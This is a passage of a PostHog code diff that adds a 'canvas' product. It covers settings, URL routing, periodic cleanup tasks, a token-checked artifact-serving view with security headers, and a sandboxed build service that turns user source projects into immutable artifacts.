"action": Action, @@ -39,15 +38,10 @@ "survey": Survey, } -DESKTOP_MIXIN_MODELS: dict[str, type[FileSystemSyncMixin]] = { - "task": Task, -} - # Which models feed each surface's tree. New product surfaces register their own models here so # they are never swept into the default ("web") tree, and vice versa. MIXIN_MODELS_BY_SURFACE: dict[str, dict[str, type[FileSystemSyncMixin]]] = { DEFAULT_SURFACE: MIXIN_MODELS, - DESKTOP_SURFACE: DESKTOP_MIXIN_MODELS, } diff --git a/posthog/scopes.py b/posthog/scopes.py index b7cebc7a57d9..0d5676f03e12 100644 --- a/posthog/scopes.py +++ b/posthog/scopes.py @@ -26,6 +26,7 @@ "batch_import", "batch_import_support", "business_knowledge", + "canvas", "clickhouse_test_cluster_perf", "cohort", "comment", diff --git a/posthog/settings/__init__.py b/posthog/settings/__init__.py index d3281dcdd4c1..fc9056f2a34c 100644 --- a/posthog/settings/__init__.py +++ b/posthog/settings/__init__.py @@ -19,6 +19,7 @@ from posthog.settings.logs import * from posthog.settings.base_variables import * +from posthog.settings.canvas import * from posthog.settings.access import * from posthog.settings.activity_log import * diff --git a/posthog/settings/canvas.py b/posthog/settings/canvas.py new file mode 100644 index 000000000000..a15cedcf8c9a --- /dev/null +++ b/posthog/settings/canvas.py @@ -0,0 +1,14 @@ +import os + +from posthog.settings.base_variables import BASE_DIR, TEST +from posthog.settings.utils import get_list + +CANVAS_ARTIFACT_ORIGIN = os.getenv("CANVAS_ARTIFACT_ORIGIN", "").rstrip("/") +CANVAS_ARTIFACT_SIGNING_KEYS = get_list(os.getenv("CANVAS_ARTIFACT_SIGNING_KEYS", "")) +if TEST and not CANVAS_ARTIFACT_SIGNING_KEYS: + CANVAS_ARTIFACT_SIGNING_KEYS = ["canvas-artifact-development-key-32-bytes"] + +# The canvas builder package (build.mjs + manifest.json + npm lockfile). A +# settings constant rather than an import so the tasks product can bake it +# into the CANVAS_BUILD sandbox image without a tasks → canvas dependency. +CANVAS_BUILDER_DIR = os.path.join(BASE_DIR, "products", "canvas", "packages", "canvas_builder") diff --git a/posthog/settings/web.py b/posthog/settings/web.py index 00edcfcec79b..69a5b2a8645d 100644 --- a/posthog/settings/web.py +++ b/posthog/settings/web.py @@ -42,6 +42,7 @@ "products.analytics_platform.backend.apps.AnalyticsPlatformConfig", "products.early_access_features.backend.apps.EarlyAccessFeaturesConfig", "products.tasks.backend.apps.TasksConfig", + "products.canvas.backend.apps.CanvasConfig", "products.stamphog.backend.apps.StamphogConfig", "products.links.backend.apps.LinksConfig", "products.field_notes.backend.apps.FieldNotesConfig", @@ -646,6 +647,9 @@ def static_varies_origin(headers, path, url): # Account.slack_summary_cadence and AccountChannelSummary.cadence share the same # daily/weekly/monthly choice set; pin one name for both. "SlackSummaryCadenceEnum": ["daily", "weekly", "monthly"], + # Canvas source diagnostics and marketing-analytics UTM issues share the same + # error/warning severity pair; pin one shared name for the choice set. + "DiagnosticSeverityEnum": ["error", "warning"], # ReviewHog findings expose the same priority set on two fields (effective_priority + # reviewer_priority); pin one shared name for the choice set. "ReviewIssuePriorityEnum": ["must_fix", "should_fix", "consider"], diff --git a/posthog/tasks/scheduled.py b/posthog/tasks/scheduled.py index bc4ac9c23a20..a4ff68850dd1 100644 --- a/posthog/tasks/scheduled.py +++ b/posthog/tasks/scheduled.py @@ -73,6 +73,7 @@ from posthog.utils import get_crontab, get_instance_region from products.approvals.backend.tasks import expire_old_change_requests, validate_pending_change_requests +from products.canvas.backend.tasks import cleanup_canvas_builds, sweep_canvas_builds from products.conversations.backend.tasks import ( flush_pending_email_replies, poll_teams_shared_channels, @@ -807,6 +808,20 @@ def setup_periodic_tasks(sender: Celery, **kwargs: Any) -> None: name="sync all surveys cache", ) + add_periodic_task_with_expiry( + sender, + crontab(hour="1", minute=str(randrange(0, 40))), + cleanup_canvas_builds.s(), + name="apply canvas build artifact retention", + ) + + add_periodic_task_with_expiry( + sender, + crontab(minute="*/2"), + sweep_canvas_builds.s(), + name="recover stuck canvas builds", + ) + sender.add_periodic_task( crontab(hour="*", minute="0"), validate_pending_change_requests.s(), diff --git a/posthog/urls.py b/posthog/urls.py index d8d7eafae097..52492dee5513 100644 --- a/posthog/urls.py +++ b/posthog/urls.py @@ -48,6 +48,7 @@ from posthog.temporal.codec_server import decode_payloads from products.ai_observability.backend.api.personal_spend import PersonalSpendEUProxyViewSet +from products.canvas.backend.artifacts import canvas_artifact from products.cdp.backend.api import hog_function_template from products.demo.backend.facade.api import demo_route from products.early_access_features.backend.api import early_access_features @@ -742,6 +743,9 @@ def delete_events(request): # Redirect the legacy `/sign-up` path to the canonical `/signup` route. Works across # app./us./eu. subdomains because only the path changes; the host is preserved by the # relative redirect. +urlpatterns.append( + re_path(r"^canvas-artifacts/(?P[^/]+)/(?P.+)$", canvas_artifact, name="canvas-artifact") +) urlpatterns.append( opt_slash_path("sign-up", RedirectView.as_view(url="/signup", permanent=True, query_string=True)), ) diff --git a/products/canvas/__init__.py b/products/canvas/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/products/canvas/backend/__init__.py b/products/canvas/backend/__init__.py new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/products/canvas/backend/apps.py b/products/canvas/backend/apps.py new file mode 100644 index 000000000000..f90a88fe3ada --- /dev/null +++ b/products/canvas/backend/apps.py @@ -0,0 +1,12 @@ +from django.apps import AppConfig + + +class CanvasConfig(AppConfig): + default_auto_field = "django.db.models.BigAutoField" + name = "products.canvas.backend" + label = "canvas" + verbose_name = "Canvas" + + def ready(self) -> None: + # Registers the artifact-delivery configuration system checks. + from products.canvas.backend import checks # noqa: F401, PLC0415 diff --git a/products/canvas/backend/artifacts.py b/products/canvas/backend/artifacts.py new file mode 100644 index 000000000000..ccdaf727878f --- /dev/null +++ b/products/canvas/backend/artifacts.py @@ -0,0 +1,170 @@ +"""The canvas artifact origin: serves built canvas files to sandboxed iframes. + +Artifacts are untrusted user content, so they are served from a dedicated +origin (``CANVAS_ARTIFACT_ORIGIN``) that fails closed: in production the view +refuses to answer on any other Host, keeping user code off the application +origin. Access is capability-based — a signed, time-boxed token minted for the +authenticated client is the only credential, so the artifact origin itself +holds no cookies or sessions. + +Integrity is verified when artifacts are written and again when they are read +from object storage. The manifest hash is also used as the response ETag. +""" + +import time +import hashlib +from typing import Any +from urllib.parse import urlparse +from uuid import UUID + +from django.conf import settings +from django.core import signing +from django.http import Http404, HttpRequest, HttpResponse, HttpResponseNotModified +from django.views.decorators.clickjacking import xframe_options_exempt + +from posthog.storage import object_storage + +from products.canvas.backend.contract import artifact_csp +from products.canvas.backend.models import CanvasBuild + +ARTIFACT_TOKEN_SALT = "posthog.canvas.artifact.v1" +# Tokens embed a coarse time bucket instead of a per-second timestamp, so the +# artifact URL for a build is stable within a bucket (the iframe src doesn't +# churn on every lifecycle poll) while still expiring: a token is accepted for +# its own bucket and the next one, i.e. between one and two hours. +ARTIFACT_TOKEN_BUCKET_SECONDS = 3600 + + +def _configured_artifact_host() -> str | None: + origin = urlparse(settings.CANVAS_ARTIFACT_ORIGIN) + if ( + origin.scheme != "https" + or not origin.netloc + or origin.username + or origin.password + or origin.path not in {"", "/"} + or origin.query + or origin.fragment + ): + return None + return origin.netloc.lower() + + +def create_canvas_artifact_token(build: CanvasBuild) -> str | None: + keys = settings.CANVAS_ARTIFACT_SIGNING_KEYS + if not keys or (not settings.CANVAS_ARTIFACT_ORIGIN and not (settings.DEBUG or settings.TEST)): + return None + if not (settings.DEBUG or settings.TEST) and (len(keys[0]) < 32 or _configured_artifact_host() is None): + return None + bucket = int(time.time() // ARTIFACT_TOKEN_BUCKET_SECONDS) + return signing.Signer(key=keys[0], salt=ARTIFACT_TOKEN_SALT).sign_object( + {"team_id": build.team_id, "canvas_id": str(build.canvas_id), "build_id": str(build.id), "bucket": bucket}, + compress=True, + ) + + +def _artifact_origin() -> str: + """The origin artifacts are linked from and served on. + + DEBUG/TEST with no CANVAS_ARTIFACT_ORIGIN falls back to the application + origin (SITE_URL) purely as a local-dev convenience: the view's host check + is skipped in those modes, so the canvas renders without standing up a + second origin. This must never happen in production — the boot check + (checks.py) fails the deploy on a half-configured non-DEBUG origin, and the + view enforces the dedicated host there — because serving built user HTML + off the app origin would put untrusted markup in the session's origin. + """ + return settings.CANVAS_ARTIFACT_ORIGIN or settings.SITE_URL + + +def create_canvas_artifact_url(build: CanvasBuild, artifact_path: str) -> str | None: + token = create_canvas_artifact_token(build) + if token is None: + return None + return f"{_artifact_origin()}/canvas-artifacts/{token}/{artifact_path}" + + +def _read_token(token: str) -> dict[str, Any]: + current_bucket = int(time.time() // ARTIFACT_TOKEN_BUCKET_SECONDS) + for key in settings.CANVAS_ARTIFACT_SIGNING_KEYS: + try: + value = signing.Signer(key=key, salt=ARTIFACT_TOKEN_SALT).unsign_object(token) + except signing.BadSignature: + continue + if isinstance(value, dict) and value.get("bucket") in (current_bucket, current_bucket - 1): + return value + raise Http404 + + +@xframe_options_exempt +def canvas_artifact(request: HttpRequest, token: str, artifact_path: str) -> HttpResponse: + configured_host = _configured_artifact_host() + if settings.CANVAS_ARTIFACT_ORIGIN and (configured_host is None or request.get_host().lower() != configured_host): + raise Http404 + claims = _read_token(token) + team_id = claims.get("team_id") + if not isinstance(team_id, int) or isinstance(team_id, bool): + raise Http404 + try: + build_id = UUID(str(claims.get("build_id"))) + canvas_id = UUID(str(claims.get("canvas_id"))) + except (TypeError, ValueError): + raise Http404 from None + build = ( + CanvasBuild.objects.for_team(team_id) + .filter(id=build_id, canvas_id=canvas_id, canvas__deleted=False, status=CanvasBuild.STATUS_READY) + .first() + ) + if build is None or not build.artifact_object_prefix or not isinstance(build.manifest, dict): + raise Http404 + assets = build.manifest.get("assets") + asset = ( + next((item for item in assets if isinstance(item, dict) and item.get("path") == artifact_path), None) + if isinstance(assets, list) + else None + ) + if asset is None or not isinstance(asset.get("contentHash"), str): + raise Http404 + + # Artifacts are immutable and content-addressed, so the manifest hash is a + # perfect validator: a revalidating client skips the object read entirely. + etag = f'"{asset["contentHash"]}"' + content_type = asset.get("contentType", "application/octet-stream") + if not isinstance(content_type, str): + content_type = "application/octet-stream" + if request.headers.get("If-None-Match") == etag: + response: HttpResponse = HttpResponseNotModified() + response["Content-Type"] = content_type + return _with_artifact_headers(response, etag) + + try: + content = object_storage.read_bytes(f"{build.artifact_object_prefix}/{artifact_path}") + except object_storage.ObjectStorageError: + raise Http404 from None + if ( + content is None + or len(content) != asset.get("sizeBytes") + or hashlib.sha256(content).hexdigest() != asset["contentHash"] + ): + raise Http404 + response = HttpResponse(content, content_type=content_type) + response["Content-Disposition"] = "inline" + return _with_artifact_headers(response, etag) + + +def _with_artifact_headers(response: HttpResponse, etag: str) -> HttpResponse: + response["ETag"] = etag + response["Cache-Control"] = "private, max-age=31536000, immutable" + response["Cross-Origin-Resource-Policy"] = "cross-origin" + # The canvas iframe is sandboxed without allow-same-origin, so its document + # has an opaque origin and the entry's module scripts are fetched in CORS + # mode — without this header the bundle is blocked and the canvas renders a + # blank page. The signed token in the URL is the access credential; a + # wildcard grants nothing beyond it and forbids credentialed requests by + # definition. + response["Access-Control-Allow-Origin"] = "*" + response["Referrer-Policy"] = "no-referrer" + response["X-Content-Type-Options"] = "nosniff" + response["Content-Security-Policy"] = artifact_csp() + response["Permissions-Policy"] = "camera=(), microphone=(), geolocation=(), payment=(), usb=()" + return response diff --git a/products/canvas/backend/build_service.py b/products/canvas/backend/build_service.py new file mode 100644 index 000000000000..5378266a7751 --- /dev/null +++ b/products/canvas/backend/build_service.py @@ -0,0 +1,901 @@ +"""Source-version and build lifecycle for canvases. + +The relational rows (`CanvasSourceVersion`, `CanvasBuild`) are the control +plane; content lives in object storage: + +- serialized source projects under a private, content-addressed key + (``canvas_source/…``) — never served from the user-content origin; +- built artifact files under an immutable per-build prefix + (``canvas_artifact/…``). + +Publishing is upload-then-commit: the source object is uploaded before the +canvas row's transaction inserts the version/build rows and advances the +current-source pointer, so a conflicting transaction leaves at most an +unreferenced upload for the retention sweep — never a partially published +version. Deduplication is content-addressed but never crosses a canvas (a +shared object identity across tenants would leak that identical source +exists elsewhere). +""" + +import gzip +import json +import shutil +import hashlib +import subprocess +from datetime import timedelta +from functools import partial +from typing import Any +from uuid import UUID + +from django.conf import settings +from django.db import connection, transaction +from django.db.models import Q +from django.utils import timezone + +import structlog +from prometheus_client import Counter, Gauge, Histogram + +from posthog.models.scoping import team_scope +from posthog.storage import object_storage + +from products.canvas.backend.contract import CANVAS_BUILDER_DIR, contract_limits +from products.canvas.backend.models import Canvas, CanvasBuild, CanvasSourceVersion +from products.canvas.backend.source import ( + SYNTHETIC_INDEX_HTML, + diagnostic, + has_errors, + validate_relative_path, + validate_source_project, +) +from products.tasks.backend.facade.sandbox import ( + SandboxCleanupError, + SandboxExecutionError, + SandboxNotFoundError, + SandboxNotRunningError, + SandboxProvisionError, + SandboxTimeoutError, +) + +logger = structlog.get_logger(__name__) + +MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM = 20 +MAX_PINNED_BUILDS_PER_CANVAS = 10 +MAX_BUILD_ATTEMPTS = 3 + +CANVAS_BUILD_OUTCOMES = Counter( + "posthog_canvas_build_outcomes_total", "Canvas build terminal outcomes", ["outcome", "code"] +) +CANVAS_BUILD_QUEUE_SECONDS = Histogram( + "posthog_canvas_build_queue_seconds", "Time a canvas build waits before execution" +) +CANVAS_BUILD_DURATION_SECONDS = Histogram( + "posthog_canvas_build_duration_seconds", "End-to-end canvas build latency", ["outcome"] +) +CANVAS_BUILD_ARTIFACT_BYTES = Histogram( + "posthog_canvas_build_artifact_bytes", "Total emitted bytes for successful canvas builds" +) +CANVAS_BUILD_SWEEP_OUTCOMES = Counter( + "posthog_canvas_build_sweep_total", "Stuck canvas builds handled by the sweeper", ["outcome"] +) +CANVAS_BUILD_ACTIVE = Gauge("posthog_canvas_builds_active", "Canvas builds currently queued or building") + + +CANVAS_BUILDER_ENV = {"PATH": "/usr/local/bin:/usr/bin:/bin", "NODE_ENV": "production"} + + +class CanvasBuildCapacityExceeded(Exception): + """The team already has the maximum number of in-flight builds.""" + + +class CanvasVersionConflict(Exception): + """A guarded publish was based on a version that is no longer the head.""" + + def __init__(self, current_version_id: str | None) -> None: + super().__init__("The canvas changed since it was read.") + self.current_version_id = current_version_id + + +def node_executable() -> str: + """Resolve node against the worker's own PATH. + + The builder child gets a sanitized env so it never inherits credentials, + which also means it cannot resolve `node` itself — outside the production + image (flox, homebrew, CI toolcaches) node lives nowhere near that minimal + PATH, so the interpreter has to be resolved here and passed absolute. + """ + resolved = shutil.which("node") or shutil.which("node", path=CANVAS_BUILDER_ENV["PATH"]) + if resolved is None: + raise RuntimeError("node is not on the canvas builder's PATH") + return resolved + + +def _run_local_builder(project: dict[str, Any]) -> dict[str, Any]: + # node_modules is git-ignored (production bakes it into the sandbox image), + # so a fresh checkout fails module resolution on the first import. Catch it + # before spawning to name the fix instead of surfacing esbuild's stderr. + if not (CANVAS_BUILDER_DIR / "node_modules").is_dir(): + raise RuntimeError( + "canvas builder dependencies are not installed — run `npm ci` in products/canvas/packages/canvas_builder" + ) + process = subprocess.run( + [node_executable(), "--max-old-space-size=256", str(CANVAS_BUILDER_DIR / "build.mjs")], + input=json.dumps({"project": project}, separators=(",", ":")), + capture_output=True, + text=True, + timeout=45, + check=False, + cwd=CANVAS_BUILDER_DIR, + env=CANVAS_BUILDER_ENV, + ) + if process.returncode != 0: + raise RuntimeError(f"canvas builder exited with {process.returncode}: {(process.stderr or '')[-500:]}") + result = json.loads(process.stdout) + if not isinstance(result, dict): + raise ValueError("canvas builder returned an invalid response") + return result + + +def _run_sandbox_builder(project: dict[str, Any]) -> dict[str, Any]: + from products.tasks.backend.facade.sandbox import ( # noqa: PLC0415 — sandbox provisioning is heavyweight; keep it off this module's import path + SandboxConfig, + SandboxTemplate, + get_sandbox_class, + ) + + config = SandboxConfig( + name="canvas-build", + template=SandboxTemplate.CANVAS_BUILD, + default_execution_timeout_seconds=45, + ttl_seconds=90, + memory_gb=0.5, + cpu_cores=1, + disk_size_gb=1, + block_network=True, + environment_variables=None, + metadata={"workload": "canvas-build"}, + ) + # The builder script, its manifest, and node_modules are baked into the + # CANVAS_BUILD image — only the project payload crosses into the sandbox. + with get_sandbox_class().create(config) as sandbox: + input_write = sandbox.write_file( + "/tmp/canvas-build-input.json", json.dumps({"project": project}, separators=(",", ":")).encode() + ) + if input_write.exit_code != 0: + raise RuntimeError("canvas sandbox input upload failed") + process = sandbox.execute( + "node --max-old-space-size=256 /scripts/canvas-builder/build.mjs < /tmp/canvas-build-input.json", + timeout_seconds=45, + ) + if process.exit_code != 0: + raise RuntimeError(f"canvas sandbox builder exited with {process.exit_code}: {process.stderr[-500:]}") + result = json.loads(process.stdout) + if not isinstance(result, dict): + raise ValueError("canvas sandbox builder returned an invalid response") + return result + + +def run_cloud_builder(project: dict[str, Any]) -> dict[str, Any]: + if settings.DEBUG or settings.TEST: + return _run_local_builder(project) + return _run_sandbox_builder(project) + + +def _valid_artifact_path(value: str) -> bool: + # Artifact paths carry builder-emitted names, so the source charset rule + # does not apply — only structural safety. + return validate_relative_path(value, restrict_charset=False) is None + + +def validate_builder_output( + result: dict[str, Any], +) -> tuple[list[dict[str, Any]], dict[str, Any], list[dict[str, Any]]]: + limits = contract_limits() + if result.get("contractVersion") != 1 or result.get("status") != "ready": + raise ValueError("canvas builder did not return a ready contract") + files = result.get("files") + manifest = result.get("manifest") + diagnostics = result.get("diagnostics") + if not isinstance(files, list) or not isinstance(manifest, dict) or not isinstance(diagnostics, list): + raise ValueError("canvas builder omitted artifacts, manifest, or diagnostics") + if len(files) > limits["maxArtifactFiles"]: + raise ValueError("canvas artifact manifest has too many files") + seen: set[str] = set() + emitted_metadata: dict[str, tuple[str, int]] = {} + total = 0 + for artifact in files: + if not isinstance(artifact, dict): + raise ValueError("canvas builder emitted an invalid artifact") + path = artifact.get("path") + content = artifact.get("content") + digest = artifact.get("contentHash") + size = artifact.get("sizeBytes") + if ( + not isinstance(path, str) + or not _valid_artifact_path(path) + or path in seen + or not isinstance(content, str) + or not isinstance(digest, str) + or len(digest) != 64 + or not isinstance(size, int) + or isinstance(size, bool) + ): + raise ValueError("canvas builder emitted an invalid artifact") + encoded = content.encode("utf-8") + if hashlib.sha256(encoded).hexdigest() != digest or len(encoded) != size: + raise ValueError("canvas artifact integrity does not match its manifest") + if size > limits["maxArtifactFileBytes"]: + raise ValueError("canvas artifact exceeds the per-file size limit") + seen.add(path) + emitted_metadata[path] = (digest, size) + total += size + if total > limits["maxArtifactTotalBytes"]: + raise ValueError("canvas build exceeds the total artifact size limit") + assets = manifest.get("assets") + if not isinstance(assets, list) or {asset.get("path") for asset in assets if isinstance(asset, dict)} != seen: + raise ValueError("canvas artifact manifest does not match emitted files") + for asset in assets: + if not isinstance(asset, dict): + raise ValueError("canvas artifact manifest metadata is invalid") + path = asset.get("path") + if not isinstance(path, str) or emitted_metadata.get(path) != ( + asset.get("contentHash"), + asset.get("sizeBytes"), + ): + raise ValueError("canvas artifact manifest metadata does not match emitted files") + entry = manifest.get("entryHtml") + if not isinstance(entry, str) or entry not in seen: + raise ValueError("canvas build does not contain its entry HTML") + return files, manifest, diagnostics[:500] + + +# Retention policy: every referenced source version is kept for the canvas's +# lifetime; artifacts are bounded. +FAILED_BUILD_RETENTION = timedelta(hours=24) +SUCCESSFUL_BUILD_RETENTION = timedelta(days=30) +BUILD_LEASE_DURATION = timedelta(minutes=5) +# A queued build no worker has claimed after this long is presumed lost +# (dropped broker message) and re-delivered by the sweeper. +STALE_QUEUED_REDELIVERY_AFTER = timedelta(minutes=5) +# A queued build still unclaimed after this long is failed outright — the +# queue is not coming back for it, and it must not hold a capacity slot. +STALE_QUEUED_FAILURE_AFTER = timedelta(hours=6) + + +def serialize_source_project(project: dict[str, Any]) -> tuple[bytes, str, int]: + """Canonical serialization: (gzip payload, hex sha256 of the canonical JSON, size).""" + canonical = json.dumps(project, sort_keys=True, separators=(",", ":"), ensure_ascii=False).encode("utf-8") + digest = hashlib.sha256(canonical).hexdigest() + return gzip.compress(canonical, mtime=0), digest, len(canonical) + + +def source_object_key(team_id: int, canvas_id: str | UUID, source_hash: str) -> str: + return f"canvas_source/team_{team_id}/{canvas_id}/{source_hash}.json.gz" + + +def artifact_object_prefix(team_id: int, canvas_id: str | UUID, build_id: str | UUID) -> str: + return f"canvas_artifact/team_{team_id}/{canvas_id}/{build_id}" + + +def upload_source_project(team_id: int, canvas_id: str | UUID, project: dict[str, Any]) -> tuple[str, str, int]: + """Upload the serialized project (idempotent — the key is content-addressed). + + Returns (object key, source hash, canonical size). Raises + ObjectStorageError when storage is unavailable — a publish cannot proceed + without its source of record. + """ + payload, digest, size = serialize_source_project(project) + key = source_object_key(team_id, canvas_id, digest) + object_storage.write(key, payload, extras={"ContentType": "application/gzip"}) + return key, digest, size + + +def read_source_project(version: CanvasSourceVersion) -> dict[str, Any]: + payload = object_storage.read_bytes(version.source_object_key) + if payload is None: + raise object_storage.ObjectStorageError(f"source object {version.source_object_key} is missing") + canonical = gzip.decompress(payload) + digest = hashlib.sha256(canonical).hexdigest() + if digest != version.source_hash: + raise object_storage.ObjectStorageError( + f"source object {version.source_object_key} failed integrity verification" + ) + return json.loads(canonical) + + +def current_source_project(canvas: Canvas) -> tuple[dict[str, Any], str | None]: + """The canvas's head source project and version id. + + Reads the stored head version when one exists; a canvas that predates the + relational lifecycle (or has never been published) is presented as a + synthetic single-file project. + """ + if canvas.current_source_version_id: + version = CanvasSourceVersion.objects.for_team(canvas.team_id).get(pk=canvas.current_source_version_id) + return read_source_project(version), str(version.id) + from products.canvas.backend.source import synthetic_source_project # noqa: PLC0415 + + return synthetic_source_project(canvas.legacy_code), None + + +def _lock_team_build_capacity(team_id: int) -> None: + """Serialize team-wide capacity checks inside the current transaction. + + Publishes race on different canvas rows, so a row lock cannot guard the + per-team cap — a transaction-scoped advisory lock can. + """ + with connection.cursor() as cursor: + cursor.execute("SELECT pg_advisory_xact_lock(hashtextextended(%s, 0))", [f"canvas_build_cap:{team_id}"]) + + +def _assert_build_capacity(team_id: int) -> None: + active = CanvasBuild.objects.for_team(team_id).filter(status__in=CanvasBuild.ACTIVE_STATUSES).count() + if active >= MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM: + raise CanvasBuildCapacityExceeded + + +def _claim_canvas_head(canvas: Canvas, *, has_expected_version: bool, expected_version_id: str | UUID | None) -> Canvas: + """Lock the canvas row and claim the right to advance its head. + + Enforces the optimistic-version guard and the team build-capacity cap + under the row lock plus the team advisory lock. Must run inside a + transaction; returns the locked row. Raises CanvasVersionConflict or + CanvasBuildCapacityExceeded. + """ + locked = Canvas.objects.for_team(canvas.team_id).select_for_update().get(pk=canvas.pk) + current_id = str(locked.current_source_version_id) if locked.current_source_version_id else None + expected = str(expected_version_id) if expected_version_id else None + if has_expected_version and current_id != expected: + raise CanvasVersionConflict(current_id) + _lock_team_build_capacity(locked.team_id) + _assert_build_capacity(locked.team_id) + return locked + + +def _queue_build(version: CanvasSourceVersion) -> CanvasBuild: + """Create a queued build for the version and supersede older queued builds. + + Must run inside a transaction holding the canvas row lock and the team + capacity advisory lock; enqueues the worker on commit. + """ + build = CanvasBuild.objects.create( + team_id=version.team_id, + canvas_id=version.canvas_id, + source_version=version, + status=CanvasBuild.STATUS_QUEUED, + ) + CanvasBuild.objects.for_team(version.team_id).filter( + canvas_id=version.canvas_id, status=CanvasBuild.STATUS_QUEUED + ).exclude(id=build.id).update( + status=CanvasBuild.STATUS_FAILED, + diagnostics=[ + diagnostic( + "warning", "superseded", "A newer canvas source version was published before this build started." + ) + ], + finished_at=timezone.now(), + ) + transaction.on_commit(lambda: _enqueue_build(build)) + return build + + +def _enqueue_build(build: CanvasBuild) -> None: + """Hand the build to the worker queue and mark when that happened. + + Stamping ``enqueued_at`` is what lets the sweeper distinguish a build the + broker lost (queue it again) from a build a worker was just told about — + keyed off ``created_at`` instead, a retry of an old failed build would be + re-delivered (a duplicate enqueue) every sweep until it was claimed. + """ + from products.canvas.backend.tasks import process_canvas_build # noqa: PLC0415 — avoids a task/service import cycle + + CanvasBuild.objects.unscoped().filter(id=build.id).update(enqueued_at=timezone.now()) + process_canvas_build.delay(build.team_id, str(build.id)) + + +def publish_source_project( + canvas: Canvas, + *, + project: dict[str, Any], + prompt: str | None, + name: str | None, + has_expected_version: bool, + expected_version_id: str | None, + task_id: UUID | None, + created_by_id: int | None, +) -> tuple[Canvas, CanvasSourceVersion, CanvasBuild, bool]: + """Publish a validated project as the canvas's new head version. + + Upload-then-commit: the immutable source object goes up before the + transaction, so a conflicting publish leaves at most an unreferenced + upload. Returns (canvas, version, build, first_publish). Raises + CanvasVersionConflict, CanvasBuildCapacityExceeded, or ObjectStorageError. + """ + # Lock-free fail-fast: reject a doomed publish before paying for the + # upload. Its answer can go stale before the commit transaction re-checks + # authoritatively under locks, so taking them here would only double lock + # contention per publish. + with team_scope(canvas.team_id): + current = Canvas.objects.for_team(canvas.team_id).only("current_source_version_id").get(pk=canvas.pk) + current_id = str(current.current_source_version_id) if current.current_source_version_id else None + expected = str(expected_version_id) if expected_version_id else None + if has_expected_version and current_id != expected: + raise CanvasVersionConflict(current_id) + _assert_build_capacity(canvas.team_id) + + key, digest, size = upload_source_project(canvas.team_id, canvas.id, project) + + with transaction.atomic(), team_scope(canvas.team_id): + canvas = _claim_canvas_head( + canvas, has_expected_version=has_expected_version, expected_version_id=expected_version_id + ) + first_publish = canvas.current_source_version_id is None and not (canvas.legacy_code or "").strip() + version = CanvasSourceVersion.objects.create( + team_id=canvas.team_id, + canvas=canvas, + parent_version_id=canvas.current_source_version_id, + source_hash=digest, + source_object_key=key, + source_size=size, + task_id=task_id, + prompt=prompt or None, + created_by_id=created_by_id, + ) + build = _queue_build(version) + + canvas.current_source_version = version + # A real version now exists; the pre-relational fallback is obsolete. + canvas.legacy_code = None + update_fields = ["current_source_version", "legacy_code", "updated_at"] + if name and name.strip() and name.strip() != canvas.name: + canvas.name = name.strip() + update_fields.append("name") + canvas.save(update_fields=update_fields) + + return canvas, version, build, first_publish + + +def revert_to_version( + canvas: Canvas, version_id: str | UUID, expected_current_version_id: str | UUID | None +) -> tuple[Canvas, CanvasBuild]: + """Move the canvas's head back to an existing version and rebuild it. + + Raises CanvasSourceVersion.DoesNotExist for a version that isn't this + canvas's, and CanvasBuildCapacityExceeded when the team cap is reached. + """ + with transaction.atomic(), team_scope(canvas.team_id): + canvas = _claim_canvas_head(canvas, has_expected_version=True, expected_version_id=expected_current_version_id) + version = CanvasSourceVersion.objects.for_team(canvas.team_id).get(pk=version_id, canvas_id=canvas.id) + canvas.current_source_version = version + canvas.save(update_fields=["current_source_version", "updated_at"]) + build = _queue_build(version) + return canvas, build + + +def act_on_build(canvas: Canvas, build_id: str | UUID, action: str) -> CanvasBuild: + """Apply a lifecycle action (retry, pin, unpin, cancel) to one build. + + Raises CanvasBuild.DoesNotExist for a build that isn't this canvas's, + ValueError for an action the build's state doesn't allow, and + CanvasBuildCapacityExceeded when a retry would exceed the team cap. + """ + now = timezone.now() + with transaction.atomic(), team_scope(canvas.team_id): + Canvas.objects.for_team(canvas.team_id).select_for_update().get(pk=canvas.pk) + build = CanvasBuild.objects.for_team(canvas.team_id).select_for_update().get(pk=build_id, canvas_id=canvas.id) + if action == "pin": + pinned_count = CanvasBuild.objects.for_team(canvas.team_id).filter(canvas_id=canvas.id, pinned=True).count() + if not build.pinned and pinned_count >= MAX_PINNED_BUILDS_PER_CANVAS: + raise ValueError(f"A canvas can retain at most {MAX_PINNED_BUILDS_PER_CANVAS} pinned builds.") + build.pinned = True + build.save(update_fields=["pinned"]) + elif action == "unpin": + build.pinned = False + build.save(update_fields=["pinned"]) + elif action == "retry": + if build.status != CanvasBuild.STATUS_FAILED: + raise ValueError("Only failed builds can be retried.") + _lock_team_build_capacity(canvas.team_id) + _assert_build_capacity(canvas.team_id) + build.status = CanvasBuild.STATUS_QUEUED + build.diagnostics = [] + build.finished_at = None + build.lease_expires_at = None + build.save(update_fields=["status", "diagnostics", "finished_at", "lease_expires_at"]) + transaction.on_commit(lambda: _enqueue_build(build)) + elif action == "cancel": + lease_lapsed = build.lease_expires_at is not None and build.lease_expires_at < now + if build.status != CanvasBuild.STATUS_QUEUED and not ( + build.status == CanvasBuild.STATUS_BUILDING and lease_lapsed + ): + raise ValueError("Only queued (or lease-expired) builds can be cancelled.") + _finish_failed(build, [diagnostic("warning", "cancelled", "The build was cancelled.")]) + build.refresh_from_db() + else: + raise ValueError(f"Unknown build action: {action}") + return build + + +def run_canvas_build(team_id: int, build_id: str) -> None: + """The cloud build worker body. + + Validates the recorded source project, uploads the immutable artifact + files, and marks the build ready — advancing the canvas's live pointer + only if this build's source version is still the canvas's current head. A + failed build records diagnostics and leaves the last-known-good build + untouched. Idempotent: a re-delivered task for a finished build is a no-op. + """ + with transaction.atomic(): + build = ( + CanvasBuild.objects.for_team(team_id) + .select_for_update() + .filter(id=build_id) + .select_related("source_version") + .first() + ) + if build is None: + logger.warning("canvas_build_missing", build_id=build_id) + return + if build.status not in CanvasBuild.ACTIVE_STATUSES: + return + now = timezone.now() + if build.status == CanvasBuild.STATUS_BUILDING and build.lease_expires_at and build.lease_expires_at > now: + return + build.status = CanvasBuild.STATUS_BUILDING + build.attempt_count += 1 + build.lease_expires_at = now + BUILD_LEASE_DURATION + build.save(update_fields=["status", "attempt_count", "lease_expires_at"]) + CANVAS_BUILD_QUEUE_SECONDS.observe(max(0, (now - build.enqueued_at).total_seconds())) + + try: + project = read_source_project(build.source_version) + except object_storage.ObjectStorageError: + _requeue_or_fail( + 